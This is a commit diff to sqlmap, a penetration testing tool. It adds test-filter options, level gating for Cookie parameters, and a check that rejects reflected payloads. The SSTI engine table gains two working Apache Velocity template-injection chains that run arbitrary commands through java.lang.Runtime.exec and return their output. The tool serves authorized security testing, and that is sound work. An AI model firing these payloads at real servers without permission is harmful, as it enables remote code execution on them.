Minor update

This commit is contained in:
Miroslav Štampar 2026-06-30 14:59:32 +02:00
parent 87eb93db15
commit e0269acc0d
5 changed files with 48 additions and 14 deletions

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.6.196"
VERSION = "1.10.6.197"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View file

@ -32,6 +32,7 @@ from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
@ -114,6 +115,20 @@ def vulnTest():
TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0])
logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)")
# --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change:
# the needle is matched case-insensitively against each entry's command line and its expected
# checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry).
def _entryMatches(entry, needle):
needle = needle.lower()
return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1])
if conf.get("testFilter"):
TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter))
logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
if conf.get("testSkip"):
TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip))
logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
retVal = True
count = 0
cleanups = []

View file

@ -692,6 +692,9 @@ def nosqlScan():
tested = found = 0
for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict):
# mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2
if place == PLACE.COOKIE and conf.level < 2:
continue
for parameter in list(conf.paramDict[place].keys()):
key = _jsonKey(parameter)

View file

@ -142,15 +142,21 @@ _ENGINE_TABLE = (
"#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE",
"#* velocity *#", "",
"", # no generic expression wrapper
# Velocity: full reflection chain (pre-2.3 only; patched by CVE-2020-13936)
(("#set($str=$class.inspect('java.lang.String').type)\n"
"#set($chr=$class.inspect('java.lang.Character').type)\n"
"#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))\n"
"$ex.waitFor()\n"
"#set($out=$ex.getInputStream())\n"
"#foreach($i in [1..$out.available()])\n"
"$str.valueOf($chr.toChars($out.read()))\n"
"#end", "reflection chain"),)),
# Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName()
# reflection chain - needs NO velocity-tools $class in the context - reading the process
# stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools
# ClassTool ($class) form, for apps that expose it.
(("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))"
"#set($chr=$x.class.forName('java.lang.Character'))"
"#set($str=$x.class.forName('java.lang.String'))"
"#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())"
"#set($out=$ex.getInputStream())"
"#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"),
("#set($str=$class.inspect('java.lang.String').type)"
"#set($chr=$class.inspect('java.lang.Character').type)"
"#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())"
"#set($out=$ex.getInputStream())"
"#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))),
Engine("Spring EL / Thymeleaf", "java",
"${", "}",
r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)",
@ -588,6 +594,9 @@ def sstiScan():
found = []
for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict):
# mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2
if place == PLACE.COOKIE and conf.level < 2:
continue
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
@ -803,6 +812,13 @@ def _executeCommand(place, parameter, engine, cmd):
output = output[len(original):]
output = output.strip()
# A template that ECHOED our payload directive instead of executing it (e.g. a patched or
# sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command
# output: reject it so the loop falls through to the honest "no output received" warning
# instead of presenting a reflected payload fragment as a fake command result.
if output and output in payload:
continue
# Suppress when output is just the baseline with the original value removed
# (command produced no output; the template rendered empty)
# Filter out template error messages masquerading as command output